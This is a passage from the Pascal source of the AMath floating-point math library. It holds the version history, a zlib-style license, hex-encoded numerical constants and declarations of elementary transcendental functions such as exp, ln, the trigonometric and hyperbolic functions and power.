0.11 04.10.09 we Pure Pascal for ln1p
0.12 04.10.09 we BASM version for exmp1
0.13 04.10.09 we Pure Pascal for exmp1
0.14 04.10.09 we Machine epsilons, case y < eps_x in pp expm1
0.15 04.10.09 we Simplified BASM expm1
0.16 17.10.09 we exp, sinh, cosh
0.17 17.10.09 we Non-BASM code, needs std.inc
0.18 18.10.09 we tanh, fix pp expm1, some consts
0.19 20.10.09 we Pure Pascal: accurate exp, simplified expm1
0.20 21.10.09 we RTR 205 for pp exp overflow, more consts
0.21 22.10.09 we log10, log2, logN
0.22 24.10.09 we arctan for TP5, arctan2
0.23 25.10.09 we intpower and power
0.24 25.10.09 we arccos and arcsin
0.25 26.10.09 we exp2
0.26 26.10.09 we tan, cot, sec, csc
0.27 27.10.09 we coth, csch, sech
0.28 28.10.09 we arccosh, arccosh1p, arcsinh, arctanh
0.29 28.10.09 we arccot, arccsc, arcsec
0.30 29.10.09 we arccoth, arccsch, arcsech
0.31 02.11.09 we arccotc
0.32 03.11.09 we hypot, frexp, ldexp
0.33 04.11.09 we ilogb, modf, floor/x, ceil/x
0.34 04.11.09 we IsInf, IsNaN, IsNaNorInf
0.35 04.11.09 we longint($80000000) fix for FPC/D4+
0.36 06.11.09 we bugfix cot, always use Pascal ln1p
0.37 06.11.09 we improved arccosh, arcsech
0.38 07.11.09 we improved arccoth
0.39 07.11.09 we improved arcsec
0.40 07.11.09 we improved arccsc
0.41 07.11.09 we improved tanh
0.42 08.11.09 we improved arccsch
0.43 09.11.09 we improved sinh, fixed arcsec for x<0
0.44 13.11.09 we improved arccosh1p, arcsinh, arctanh
0.45 15.11.09 we exp10, bugfix intpower
0.46 18.11.09 we improved arccotc
0.47 18.11.09 we fix csch,sech for abs(x) > ln(MaxExtended)
0.48 24.11.09 we fix D2 internal error with fstp [@result]
0.49 intentionally left blank :)
0.50 28.11.09 we _tan, _cot (basic versions, OK for |arg| < Pi/4}
0.51 28.11.09 we sin,cos,tan,cot with rempio2
0.52 29.11.09 we Remove temp integer in sin,cos
0.53 29.11.09 we Type THexDblW
0.54 03.12.09 we More accurate power (based on Cephes)
0.55 03.12.09 we frexpd, scalbn
0.56 03.12.09 we fix BASM ln1p, improve arccosh/1p (ac_help)
0.57 04.12.09 we arcsech with ac_help
0.58 05.12.09 we AMath_Version, improved arccos and arcsin
0.59 05.12.09 we sum2, sum2x, dot2, dot2x
0.60 06.12.09 we integrated rempio2, tan uses _cot
0.61 06.12.09 we sum/dot ranges 0..n-1
0.62 06.12.09 we sincos, _sincos
0.63 08.12.09 we norm2, ssq, sumsqr
0.64 09.12.09 we improved non-basm ldexp
0.65 09.12.09 we copysign, fmod
0.66 10.12.09 we ldexpd
0.67 10.12.09 we PolEval, PolEvalX, non-basm exp10 from Cephes
0.68 11.12.09 we Mean, MeanAndStdDev
0.69 11.12.09 we improved sinh
0.70 12.12.09 we IsInfD, IsNaND, IsNaNorInfD
0.71 12.12.09 we nextd/x, predd/x, succd/x
0.72 15.12.09 we Get/Set8087CW, Get/SetRoundMode, Get/SetPrecisionMode, Get/SetExceptionMask
0.73 17.12.09 we Ext2Hex, Dbl2Hex, MinExtended via MinExtHex
0.74 18.12.09 we fisEQd/x, fisNEd/x
0.75 19.12.09 we Min/MaxDouble, Min/MaxSingle via Hex constants
0.76 19.12.09 we complete rewrite of predd/x, succd/x using bit manipulation
0.77 19.12.09 we improved ln1p, ac_help, arctanh
0.78 21.12.09 we improved arcsinh, use improved ln1p for non-basm
0.79 25.12.09 we fix fisNEd, frexpd
0.80 28.12.09 we rem_int2, simplified rem_pio2_cw, changed < Pi/4 to <= Pi/4
0.81 28.12.09 we cosPi, sinPi, sincosPi
0.82 06.01.10 we expx2, Sqrt_TwoPi
0.83 26.01.10 we early outs for expx2
0.84 31.01.10 we sqrt1pm1, improved arctanh
0.85 07.02.10 we allow denormal input for logarithms
0.86 07.02.10 we cbrt, nroot
0.87 09.02.10 we NoBASM routines: exp2, cbrt
0.88 16.02.10 we Euler's Gamma constant
0.89 02.03.10 we CSEvalX
0.90 13.03.10 we maxd, maxx, mind, minx
0.91 03.04.10 we Sqrt(Min/MaxExtended)
0.92 03.04.10 we Hex values in separate const declarations
0.93 03.04.10 we exp3
0.94 09.04.10 we sinc, sincPi
0.95 14.04.10 we ln1pmx, typed const with THexExtW
0.96 15.04.10 we ln_MaxExt, ln_MinExt
0.97 20.04.10 we rem_2pi/rem_2pi_sym, PiSqr/LnSqrt2Pi
0.98 20.04.10 we fix rem_pio2_ph for x=0.0
0.99 07.06.10 we meanx, MeanAndStdDevX
1.00 08.06.10 we rms, rmsx
1.01 18.06.10 we exprel
1.02 01.07.10 we cosf1
1.03 02.07.10 we coshm1
1.04 03.07.10 we mssqd, mssqx
1.05 03.07.10 we ssdev/x, psdev/x, svar/x, pvar/x
1.06 18.07.10 we powm1, pow1pm1
1.07 04.08.10 we More accurate ln1pmx
1.08 27.08.10 we More accurate power function (table with up to 512 entries)
1.09 07.09.10 we Ext2Dbl
1.10 08.09.10 we Bugfix frac/int/trunc for Delphi 2..5, FPC1
1.11 12.09.10 we Bugfix round for FPC1
1.12 15.09.10 we exp2m1
1.13 29.09.10 we types TFuncX and TFuncD
1.14 29.09.10 we TFuncX/D compatible int,frac,arctan,sqrt
1.15 03.10.10 we Interfaced mssqd, mssqx ifndef CONST
1.16 03.10.10 we moment/momentx
1.17 03.10.10 we cbrt ifdef changed from BASM16 to BASM
1.18 06.10.10 we SqrtPi = sqrt(Pi)
1.19 23.10.10 we power: handle 0^(-|y|) and avoid intpower overflow
1.20 09.01.11 we simplified succd/predd
1.21 11.01.11 we Single functions: IsInfS,IsNaNS,IsNaNorInfS,fisEQs,fisNEs,succs,preds,Sgl2Hex
1.22 16.01.11 we roundmode-safe exp/exp10/exp3 code
1.23 17.01.11 we roundmode-safe arccos
1.24 22.01.11 we frexps, ldexps, mins, maxs, copysigns
1.25 03.02.11 we renamed cosf1 to vers
1.26 03.02.11 we haversine hav(x)
1.27 04.02.11 we coversine covers(x) = 1 - sin(x)
1.28 05.02.11 we inverse haversine archav(x)
1.29 05.02.11 we Gudermannian gd(x)
1.30 05.02.11 we inverse Gudermannian function arcgd(x)
1.31 13.02.11 we functions ulpd/s/x
1.32 19.03.11 we isign
1.33 25.03.11 we RandG, RandG01
1.34 29.03.11 we Inline Get8087CW, Set8087CW for VER5X
1.35 21.04.11 we angle2
1.36 22.04.11 we orient2d, area_triangle, in_triangle/_ex
1.37 28.04.11 we improved rem_pio2
1.38 30.04.11 we improved rem_2pi
1.39 24.05.11 we case x=0 in rem_pio2_cw
1.40 12.06.11 we Hex2Ext, Hex2Dbl, Hex2Sgl
1.41 13.06.11 we hypot3
1.42 13.06.11 we improved vers, covers
1.43 13.06.11 we simplified sin,cos,tan,cot
1.44 13.06.11 we improved coshm1
1.45 14.06.11 we improved Hex2Float
1.46 23.06.11 we DegToRad, RadToDeg, Pi_180
1.47 04.09.11 we arccsch(x) for very small x
1.48 05.09.11 we arcsech(x) for very small x
1.49 06.09.11 we arccsc(x) for very large x
1.50 22.12.11 we exp5, exp7
1.51 28.02.12 we rint
1.52 29.02.12 we fix VP rmNearest to round to even for half-integers
1.53 10.04.12 we fix NOBASM exp
1.54 11.04.12 we Langevin function
1.55 26.04.12 we PolEvalEE/X
1.56 27.04.12 we PolEvalCHE/X
1.57 03.06.12 we Power: use intpower only for |y| < 8192
1.58 07.06.12 we Fix exp/3/5/7/10 for very large x
1.59 29.06.12 we const sqrt_epsh = sqrt(eps_x/2)
1.60 20.02.13 we Special cases |y|=1/2 in power
1.61 22.02.13 we Constants succx0Hex, succx0, ln_succx0
1.62 05.04.13 we frexp/d/s returns non-zero exponents for denormal
1.63 05.04.13 we ilogb returns floor(log2()) for denormal
1.64 06.04.13 we denormal for non-Basm: exp,exp2,exp10,ln,cbrt
1.65 06.04.13 we power: denormal support and intpower for y<2048
1.66 07.04.13 we exp10m1
1.67 07.04.13 we log2p1, log10p1
1.68 08.04.13 we denormal for non-Basm fmod
1.69 25.04.13 we arcsec for large x
1.70 19.05.13 we const THREE: double=3.0; Used for circumventing some 'optimizations'
1.71 29.06.13 we Power returns +-INF for overflow
1.72 17.08.13 we expmx2h = exp(-0.5*x^2)
1.73 03.10.13 we Degrees versions of trig / invtrig functions
1.74 04.10.13 we trig_deg: more accurate degree reduction
1.75 09.10.13 we ln1p
1.76 10.10.13 we coshm1
1.77 10.10.13 we tanh
1.78 10.10.13 we expm1
1.79 12.10.13 we arcsinh
1.80 12.10.13 we arccsch, sinh, ln1pmx
1.81 12.10.13 we arcgd
1.82 15.10.13 we Sqrt2 as (hex)extended constant
1.83 24.10.13 we Improved degrees versions of trig functions
1.84 25.10.13 we IsInf/Nan function with {$ifdef HAS_INLINE} inline;{$endif}
1.85 27.10.13 we remainder
1.86 20.11.13 we sinhcosh, improved sinh/cosh
1.87 26.03.14 we LnPi = ln(Pi) as (hex)extended constant
1.88 21.04.14 we Improved Langevin
1.89 29.05.14 we PolEvalS
1.90 07.06.14 we ln1mexp
1.91 20.06.14 we logit
1.92 05.07.14 we basic ext2 routines
1.93 06.07.14 we pow1p
1.94 06.07.14 we compound
1.95 06.10.14 we logistic
1.96 06.11.14 we Small Bernoulli numbers as Hex constants from sfBasic
1.97 26.12.14 we Typed const one_x=1 to avoid some FPC problems
1.98 05.01.15 we Minor changes (editorial, some FP constants, ifdef BIT32 -> ifndef BIT16)
1.99 09.01.15 we xxto2x uses TwoSum instead of FastTwoSum
2.00 10.01.15 we pi2x
2.01 26.02.15 we powpi2k, powpi
2.02 03.04.15 we special case y=-1 in power
2.03 31.05.15 we versint
2.04 19.06.15 we sinhc
2.05 25.06.15 we sinhmx
2.06 24.07.15 we avoid ilogb in power if y too large for intpower
2.07 25.08.15 we Constant SIXX = 6.0 to avoid some 'optimizations'
***************************************************************************)
(*-------------------------------------------------------------------------
(C) Copyright 2009-2015 Wolfgang Ehrhardt
This software is provided 'as-is', without any express or implied warranty.
In no event will the authors be held liable for any damages arising from
the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must not
claim that you wrote the original software. If you use this software in
a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.
----------------------------------------------------------------------------*)
(*-------------------------------------------------------------------------
This Pascal code uses material and ideas from open source and public
domain libraries, see the file '3rdparty.ama' for the licenses.
---------------------------------------------------------------------------*)
const
AMath_Version = '2.07';
{#Z+}
{---------------------------------------------------------------------------}
{---------------------- Types, constants, variables ------------------------}
{---------------------------------------------------------------------------}
{#Z-}
type
TFuncX = function(x: extended): extended;
TFuncD = function(x: double): double;
type
THexExtA = packed array[0..9] of byte; {Extended as array of bytes}
THexDblA = packed array[0..7] of byte; {Double as array of bytes}
THexSglA = packed array[0..3] of byte; {Single as array of bytes}
THexExtW = packed array[0..4] of word; {Extended as array of word}
THexDblW = packed array[0..3] of word; {Double as array of word}
THexSglW = packed array[0..1] of word; {Single as array of word}
type
TExtRec = packed record {Extended as sign, exponent, significand}
lm: longint; {low 32 bit of significand}
hm: longint; {high 32 bit of significand}
xp: word; {biased exponent and sign }
end;
type
TDblRec = packed record {Double as sign, exponent, significand}
lm: longint; {low 32 bit of significand}
hm: longint; {high bits of significand, biased exponent and sign}
end;
type
ext2 = record {Double-extended as unevaluated sum of}
l: extended; {low part and}
h: extended; {high part}
end;
{#Z+}
{Machine epsilons: smallest (negative) powers of 2 with 1 + eps_? <> 1}
{These constants should evaluate to the hex values if viewed with ?,mh}
const eps_x: extended = 1.084202172485504434E-19; {Hex: 0000000000000080C03F}
const eps_d: double = 2.2204460492503131E-16; {Hex: 000000000000B03C}
const eps_s: single = 1.1920929E-7; {Hex: 00000034}
const PosInfXHex : THexExtW = ($0000,$0000,$0000,$8000,$7fff); {extended +INF as hex}
const NegInfXHex : THexExtW = ($0000,$0000,$0000,$8000,$ffff); {extended -INF as hex}
const NaNXHex : THexExtW = ($ffff,$ffff,$ffff,$ffff,$7fff); {an extended NaN as hex}
const MinExtHex : THexExtW = ($0000,$0000,$0000,$8000,$0001); {MinExtended as Hex}
const MaxExtHex : THexExtW = ($ffff,$ffff,$ffff,$ffff,$7ffe); {MaxExtended as Hex}
const succx0Hex : THexExtW = ($0001,$0000,$0000,$0000,$0000); {succx(0) as Hex }
const Sqrt_MinXH : THexExtW = ($0000,$0000,$0000,$8000,$2000); {sqrt(MinExtended) as Hex}
const Sqrt_MaxXH : THexExtW = ($ffff,$ffff,$ffff,$ffff,$5ffe); {sqrt(MaxExtended) as Hex}
const ln_MaxXH : THexExtW = ($79ab,$d1cf,$17f7,$b172,$400c); {predx(ln(MaxExtended))}
const ln_MinXH : THexExtW = ($eb2f,$1210,$8c67,$b16c,$c00c); {succx(ln(MinExtended))}
const ln2hex : THexExtW = ($79ac,$d1cf,$17f7,$b172,$3ffe); {ln(2)}
const log2ehex : THexExtW = ($f0bc,$5c17,$3b29,$b8aa,$3fff); {log2(e)}
const log10ehex : THexExtW = ($7195,$3728,$d8a9,$de5b,$3ffd); {log10(e)}
const TwoPihex : THexExtW = ($c235,$2168,$daa2,$c90f,$4001); {2*Pi}
const Pi_2hex : THexExtW = ($c235,$2168,$daa2,$c90f,$3fff); {Pi/2}
const Pi_4hex : THexExtW = ($c235,$2168,$daa2,$c90f,$3ffe); {Pi/4}
const Pi_180hex : THexExtW = ($C8AE,$94E9,$3512,$8EFA,$3FF9); {Pi/180}
const PiSqrHex : THexExtW = ($F2D2,$F22E,$E64D,$9DE9,$4002); {9.8696044010893586185}
const SqrtPihex : THexExtW = ($553D,$A77B,$C48D,$E2DF,$3FFF); {sqrt(Pi) = +1.7724538509055160273}
const Sqrt_2Pihex : THexExtW = ($2cb3,$b138,$98ff,$a06c,$4000); {sqrt(2*Pi)}
const LnPihex : THexExtW = ($E85F,$3D0D,$8247,$9286,$3FFF); {ln(pi)}
const LnSqrt2Pihex: THexExtW = ($a535,$25f5,$8e43,$eb3f,$3ffe); {ln(sqrt(2*Pi)=}
const EulerGamHex : THexExtW = ($c7a5,$7db0,$67e3,$93c4,$3ffe); {Euler's constant}
const Sqrt2hex : THexExtW = ($6484,$F9DE,$F333,$B504,$3FFF); {sqrt(2)}
const PosInfDHex : THexDblW = ($0000,$0000,$0000,$7ff0); {double +INF as hex}
const NegInfDHex : THexDblW = ($0000,$0000,$0000,$fff0); {double -INF as hex}
const NaNDHex : THexDblW = ($ffff,$ffff,$ffff,$7fff); {a double NaN as hex}
const MaxDblHex : THexDblW = ($ffff,$ffff,$ffff,$7fef); {1.797693134862315E+308}
const MinDblHex : THexDblW = ($0000,$0000,$0000,$0010); {2.225073858507201E-308}
const PosInfSHex : THexSglA = ($00,$00,$80,$7f); {single +INF as hex}
const NegInfSHex : THexSglA = ($00,$00,$80,$ff); {single -INF as hex}
const NaNSHex : THexSglA = ($ff,$ff,$ff,$7f); {a single NaN as hex}
const MaxSglHex : THexSglA = ($ff,$ff,$7f,$7f); {3.4028234E+38}
const MinSglHex : THexSglA = ($00,$00,$80,$00); {1.1754944E-38}
{Small Bernoulli numbers as Hex constants. Formerly part }
{of unit sfBasic, they are now also used by unit AMCmplx.}
const
MaxB2nSmall = 60;
const
B2nHex: array[0..MaxB2nSmall] of THexExtw = ( {Bernoulli(2n), n=0..}
($0000,$0000,$0000,$8000,$3FFF), {+1.0000000000000000000}
($AAAB,$AAAA,$AAAA,$AAAA,$3FFC), {+1.6666666666666666667E-1}
($8889,$8888,$8888,$8888,$BFFA), {-3.3333333333333333335E-2}
($C30C,$0C30,$30C3,$C30C,$3FF9), {+2.3809523809523809523E-2}
($8889,$8888,$8888,$8888,$BFFA), {-3.3333333333333333335E-2}
($26CA,$6C9B,$C9B2,$9B26,$3FFB), {+7.5757575757575757578E-2}
($8198,$9819,$1981,$8198,$BFFD), {-2.5311355311355311355E-1}
($5555,$5555,$5555,$9555,$3FFF), {+1.1666666666666666666}
($F2F3,$F2F2,$F2F2,$E2F2,$C001), {-7.0921568627450980392}
($27C8,$9F1E,$7C78,$DBE2,$4004), {+5.4971177944862155390E+1}
($67F4,$7F39,$F396,$8447,$C008), {-5.2912424242424242426E+2}
($28D0,$33F1,$FC4A,$C180,$400B), {+6.1921231884057971016E+3}
($6606,$0660,$2066,$A91A,$C00F), {-8.6580253113553113550E+4}
($5555,$5555,$6955,$AE03,$4013), {+1.4255171666666666666E+6}
($9C8B,$AE32,$DB88,$D044,$C017), {-2.7298231067816091954E+7}
($FE36,$9A41,$9527,$8F6D,$401C), {+6.0158087390064236836E+8}
($E5E6,$C5E5,$2B1D,$E140,$C020), {-1.5116315767092156863E+10}
($5555,$EA55,$0E6E,$C80E,$4025), {+4.2961464306116666666E+11}
($5309,$8E05,$E567,$C787,$C02A), {-1.3711655205088332772E+13}
($9555,$CF4C,$5D33,$DE11,$402F), {+4.8833231897359316666E+14}
($C84C,$1CEA,$45FA,$891C,$C035), {-1.9296579341940068148E+16}
($9B70,$68B9,$B5E0,$BAE4,$403A), {+8.4169304757368261500E+17}
($60ED,$6259,$67A8,$8BF3,$C040), {-4.0338071854059455412E+19}
($D4E6,$F92A,$1ECC,$E551,$4045), {+2.1150748638081991606E+21}
($8EB9,$1AF2,$630E,$CCC1,$C04B), {-1.2086626522296525934E+23}
($C97F,$74B7,$D9A2,$C68B,$4051), {+7.5008667460769643668E+24}
($50C0,$269C,$2369,$D066,$C057), {-5.0387781014810689143E+26}
($D9ED,$4EC6,$CA9A,$EC0F,$405D), {+3.6528776484818123334E+28}
($E7CF,$899B,$CBC7,$8FE1,$C064), {-2.8498769302450882226E+30}
($5070,$15A2,$D8D6,$BC43,$406A), {+2.3865427499683627645E+32}
($65EE,$E640,$2AAB,$83E3,$C071), {-2.1399949257225333666E+34}
($707D,$1C11,$CE9D,$C56A,$4077), {+2.0500975723478097570E+36}
($1E1C,$7AC8,$21EF,$9D85,$C07E), {-2.0938005911346378408E+38}
($E927,$8376,$73E5,$85BA,$4085), {+2.2752696488463515559E+40}
($8500,$E7B3,$9488,$F123,$C08B), {-2.6257710286239576047E+42}
($B991,$385E,$7503,$E67C,$4092), {+3.2125082102718032518E+44}
($0E52,$1EBF,$9A0F,$E92A,$C099), {-4.1598278166794710914E+46}
($7C1E,$0021,$4E79,$F942,$40A0), {+5.6920695482035280023E+48}
($970D,$F26E,$AF7E,$8C94,$C0A8), {-8.2183629419784575694E+50}
($2C49,$524C,$2BE5,$A716,$40AF), {+1.2502904327166993017E+53}
($C0A8,$EA20,$F1CB,$D0F8,$C0B6), {-2.0015583233248370275E+55}
($8E7B,$4C4E,$5298,$8956,$40BE), {+3.3674982915364374232E+57}
($7DC5,$B6DB,$4610,$BD7C,$C0C5), {-5.9470970503135447718E+59}
($12CC,$59DB,$F874,$890D,$40CD), {+1.1011910323627977560E+62}
($4590,$25D4,$A47F,$CFA5,$C0D4), {-2.1355259545253501188E+64}
($A679,$4EF1,$AF84,$A492,$40DC), {+4.3328896986641192418E+66}
($5E81,$3FBE,$35D8,$8854,$C0E4), {-9.1885528241669328228E+68}
($8A90,$C146,$AAF0,$EBD8,$40EB), {+2.0346896776329074493E+71}
($C12C,$4593,$68CD,$D4D3,$C0F3), {-4.7003833958035731077E+73}
($FF4E,$F062,$48DC,$C82E,$40FB), {+1.1318043445484249271E+76}
($3F3B,$AFB3,$532E,$C417,$C103), {-2.8382249570693706958E+78}
($7E40,$DF17,$81CD,$C7E2,$410B), {+7.4064248979678850632E+80}
($45B1,$D38C,$5DAE,$D3DC,$C113), {-2.0096454802756604484E+83}
($5F41,$4EA9,$1C33,$E951,$411B), {+5.6657170050805941445E+85}
($6A4B,$0BDB,$E3F8,$8563,$C124), {-1.6584511154136216916E+88}
($4724,$DD5F,$F84A,$9E3F,$412C), {+5.0368859950492377418E+90}
($328E,$4648,$E010,$C2A9,$C134), {-1.5861468237658186369E+93}
($826C,$BA97,$AC47,$F81F,$413C), {+5.1756743617545626984E+95}
($93F0,$781D,$43FD,$A3C1,$C145), {-1.7488921840217117340E+98}
($0AFB,$0494,$C087,$DFB2,$414D), {+6.1160519994952185254E+100}
($8384,$4095,$B028,$9E09,$C156)); {-2.2122776912707834942E+103}
{#Z-}
var
{Absolute vars, i.e. constants with hex patterns}
MinExtended : extended absolute MinExtHex; {= 3.362103143112093507E-4932} {= 2^(-16382)}
MaxExtended : extended absolute MaxExtHex; {= 1.189731495357231764E+4932} {= 2^16384-2^16320 = (2^64-1)*2^16320}
Sqrt_MinExt : extended absolute Sqrt_MinXH; {= 1.833603867554847166E-2466} {= 0.5^8191}
Sqrt_MaxExt : extended absolute Sqrt_MaxXH; {= 1.090748135619415929E+2466} {= 2.0^8192}
succx0 : extended absolute succx0Hex; {= 0.364519953188247460E-4950} {= succx(0) = 2^(-16445)}
ln_MaxExt : extended absolute ln_MaxXH; {= 11356.52340629414394}
ln_MinExt : extended absolute ln_MinXH; {=-11355.13711193302405}
ln2 : extended absolute ln2hex; {= 0.69314718055994530942}
log2e : extended absolute log2ehex; {= 1.4426950408889634079 }
log10e : extended absolute log10ehex; {= 0.43429448190325182765}
TwoPi : extended absolute TwoPihex; {= 6.2831853071795864769 }
Pi_2 : extended absolute Pi_2hex; {= 1.5707963267948966192 }
Pi_4 : extended absolute Pi_4hex; {= 0.78539816339744830962}
Pi_180 : extended absolute Pi_180hex; {= 0.17453292519943295769e-1}
PiSqr : extended absolute PiSqrHex; {= 9.8696044010893586185}
SqrtPi : extended absolute SqrtPihex; {= 1.7724538509055160273}
Sqrt_TwoPi : extended absolute Sqrt_2Pihex; {= 2.5066282746310005024}
LnPi : extended absolute LnPihex; {= 1.1447298858494001742}
LnSqrt2Pi : extended absolute LnSqrt2Pihex;{= 0.91893853320467274178}
EulerGamma : extended absolute EulerGamHex; {= 0.57721566490153286061}
Sqrt2 : extended absolute Sqrt2hex; {= 1.41421356237309504880168872421}
var
PosInf_x : extended absolute PosInfXHex; {extended +INF }
NegInf_x : extended absolute NegInfXHex; {extended -INF }
NaN_x : extended absolute NaNXHex; {an extended NaN}
var
MaxDouble : double absolute MaxDblHex; {1.797693134862315E+308} {= 2^1024 - 2^971}
MinDouble : double absolute MinDblHex; {2.225073858507201E-308} {= 2^(-1022)}
PosInf_d : double absolute PosInfDHex; {double +INF }
NegInf_d : double absolute NegInfDHex; {double -INF }
NaN_d : double absolute NaNDHex; {a double NaN}
var
MaxSingle : single absolute MaxSglHex; {3.4028234+38}
MinSingle : single absolute MinSglHex; {1.1754944E-38}
PosInf_s : single absolute PosInfSHex; {single +INF }
NegInf_s : single absolute NegInfSHex; {single -INF }
NaN_s : single absolute NaNSHex; {a single NaN}
const
sqrt_epsh : extended = 2.3283064365386962890625e-10; {sqrt(eps_x/2)}
ln_succx0 = -11398.80538430830061;
const
THREE : extended = 3.0; {Used for circumventing some 'optimizations'. D2/D3}
{use *0.333.. instead of /3! This gives incorrectly}
{rounded results for 5/3, 7/3, and many others! }
{Also used by FPC 3.1.1 with -O4 optimization! }
SIXX : extended = 6.0; {Same reason (SIX would be sine integral}
one_x : extended = 1.0; {Avoid FPC nonsense using single for e.g. 1.0/n}
const
ph_cutoff : extended = 549755813888.0; {2^39, threshold for Payne/Hanek}
{do not change or adjust tol in rem_pio2}
{#Z+}
{---------------------------------------------------------------------------}
{------------------- Elementary transcendental functions -------------------}
{---------------------------------------------------------------------------}
{#Z-}
function arccos(x: extended): extended;
{-Return the inverse circular cosine of x, |x| <= 1}
function arccosd(x: extended): extended;
{-Return the inverse circular cosine of x, |x| <= 1, result in degrees}
function arccosh(x: extended): extended;
{-Return the inverse hyperbolic cosine, x >= 1. Note: for x near 1 the }
{ function arccosh1p(x-1) should be used to reduce cancellation errors!}
function arccosh1p(x: extended): extended;
{-Return arccosh(1+x), x>=0, accurate even for x near 0}
function arccot(x: extended): extended;
{-Return the sign symmetric inverse circular cotangent; arccot(x) = arctan(1/x), x <> 0}
function arccotc(x: extended): extended;
{-Return the continuous inverse circular cotangent; arccotc(x) = Pi/2 - arctan(x)}
function arccotcd(x: extended): extended;
{-Return the continuous inverse circular cotangent;}
{ arccotcd(x) = 90 - arctand(x), result in degrees }
function arccotd(x: extended): extended;
{-Return the sign symmetric inverse circular cotangent,}
{ arccotd(x) = arctand(1/x), x <> 0, result in degrees }
function arccoth(x: extended): extended;
{-Return the inverse hyperbolic cotangent of x, |x| > 1}
function arccsc(x: extended): extended;
{-Return the inverse cosecant of x, |x| >= 1}
function arccsch(x: extended): extended;
{-Return the inverse hyperbolic cosecant of x, x <> 0}
function arcgd(x: extended): extended;
{-Return the inverse Gudermannian function arcgd(x), |x| < Pi/2}
function archav(x: extended): extended;
{-Return the inverse haversine archav(x), 0 <= x <= 1}
function arcsec(x: extended): extended;
{-Return the inverse secant of x, |x| >= 1}
function arcsech(x: extended): extended;
{-Return the inverse hyperbolic secant of x, 0 < x <= 1}
function arcsin(x: extended): extended;
{-Return the inverse circular sine of x, |x| <= 1}
function arcsind(x: extended): extended;
{-Return the inverse circular sine of x, |x| <= 1, result in degrees}
function arcsinh(x: extended): extended;
{-Return the inverse hyperbolic sine of x}
function arctan2(y, x: extended): extended;
{-Return arctan(y/x); result in [-Pi..Pi] with correct quadrant}
function arctand(x: extended): extended;
{-Return the inverse circular tangent of x, result in degrees}
function arctanh(x: extended): extended;
{-Return the inverse hyperbolic tangent of x, |x| < 1}
function compound(x: extended; n: longint): extended;
{-Return (1+x)^n; accurate version of Delphi/VP internal function}
function cos(x: extended): extended;
{-Accurate version of circular cosine, uses system.cos for |x| <= Pi/4}
function cosd(x: extended): extended;
{-Return cos(x), x in degrees}
function cosh(x: extended): extended;
{-Return the hyperbolic cosine of x}
function coshm1(x: extended): extended;
{-Return cosh(x)-1, accurate even for x near 0}
function cosPi(x: extended): extended;
{-Return cos(Pi*x), result will be 1 for abs(x) >= 2^64}
function cot(x: extended): extended;
{-Return the circular cotangent of x, x mod Pi <> 0}
function cotd(x: extended): extended;
{-Return cot(x), x in degrees}
function coth(x: extended): extended;
{-Return the hyperbolic cotangent of x, x<>0}
function covers(x: extended): extended;
{-Return the coversine covers(x) = 1 - sin(x)}
function csc(x: extended): extended;
{-Return the circular cosecant of x, x mod Pi <> 0}
function csch(x: extended): extended;
{-Return the hyperbolic cosecant of x, x<>0}
function exp(x: extended): extended;
{-Accurate exp, result good to extended precision}
function exp10(x: extended): extended;
{-Return 10^x}
function exp10m1(x: extended): extended;
{-Return 10^x - 1; special code for small x}
function exp2(x: extended): extended;
{-Return 2^x}
function exp2m1(x: extended): extended;
{-Return 2^x-1, accurate even for x near 0}
function exp3(x: extended): extended;
{-Return 3^x}
function exp5(x: extended): extended;
{-Return 5^x}
function exp7(x: extended): extended;
{-Return 7^x}
function expm1(x: extended): extended;
{-Return exp(x)-1, accurate even for x near 0}
function exprel(x: extended): extended;
{-Return exprel(x) = (exp(x) - 1)/x, 1 for x=0}
function expx2(x: extended): extended;
{-Return exp(x*|x|) with damped error amplification in computing exp of the product.}
{ Used for exp(x^2) = expx2(abs(x)) and exp(-x^2) = expx2(-abs(x))}
function expmx2h(x: extended): extended;
{-Return exp(-0.5*x^2) with damped error amplification}
function gd(x: extended): extended;
{-Return the Gudermannian function gd(x)}
function hav(x: extended): extended;
{-Return the haversine hav(x) = 0.5*(1 - cos(x))}
function langevin(x: extended): extended;
{-Return the Langevin function L(x) = coth(x) - 1/x, L(0) = 0}
function ln(x: extended): extended;
{-Return natural logarithm of x, x may be denormal}
function ln1mexp(x: extended): extended;
{-Return ln(1-exp(x)), x<0}
function ln1p(x: extended): extended;
{-Return ln(1+x), accurate even for x near 0}
function ln1pmx(x: extended): extended;
{-Return ln(1+x)-x, x>-1, accurate even for -0.5 <= x <= 1.0}
function log10(x: extended): extended;
{-Return base 10 logarithm of x}
function log10p1(x: extended): extended;
{-Return log10(1+x), accurate even for x near 0}
function log2(x: extended): extended;
{-Return base 2 logarithm of x}
function log2p1(x: extended): extended;
{-Return log2(1+x), accurate even for x near 0}
function logbase(b, x: extended): extended;
{-Return base b logarithm of x}
function logistic(x: extended): extended;
{-Return logistic(x) = 1/(1+exp(-x))}
function logit(x: extended): extended;
{-Return logit(x) = ln(x/(1.0-x)), accurate near x=0.5}
function power(x, y : extended): extended;
{-Return x^y; if frac(y)<>0 then x must be > 0}
function powm1(x,y: extended): extended;
{-Return x^y - 1; special code for small x,y}
function pow1p(x,y: extended): extended;
{-Return (1+x)^y, x > -1}
function pow1pm1(x,y: extended): extended;
{-Return (1+x)^y - 1; special code for small x,y}
function powpi2k(k,n: longint): extended;
{-Return accurate scaled powers of Pi, result = (Pi*2^k)^n}
function powpi(n: longint): extended;
{-Return accurate powers of Pi, result = Pi^n}
function sec(x: extended): extended;
{-Return the circular secant of x, x mod Pi <> Pi/2}
function sech(x: extended): extended;
{-Return the hyperbolic secant of x}
function sin(x: extended): extended;
{-Accurate version of circular sine, uses system.sin for |x| <= Pi/4}
procedure sincos(x: extended; var s,c: extended);
{-Return accurate values s=sin(x), c=cos(x)}
procedure sincosd(x: extended; var s,c: extended);
{-Return sin(x) and cos(x), x in degrees}
procedure sincosPi(x: extended; var s,c: extended);
{-Return s=sin(Pi*x), c=cos(Pi*x); (s,c)=(0,1) for abs(x) >= 2^64}
procedure sinhcosh(x: extended; var s,c: extended);
{-Return s=sinh(x) and c=cosh(x)}
function sinc(x: extended): extended;
{-Return the cardinal sine sinc(x) = sin(x)/x}
function sincPi(x: extended): extended;
{-Return the normalised cardinal sine sincPi(x) = sin(Pi*x)/(Pi*x)}
function sind(x: extended): extended;
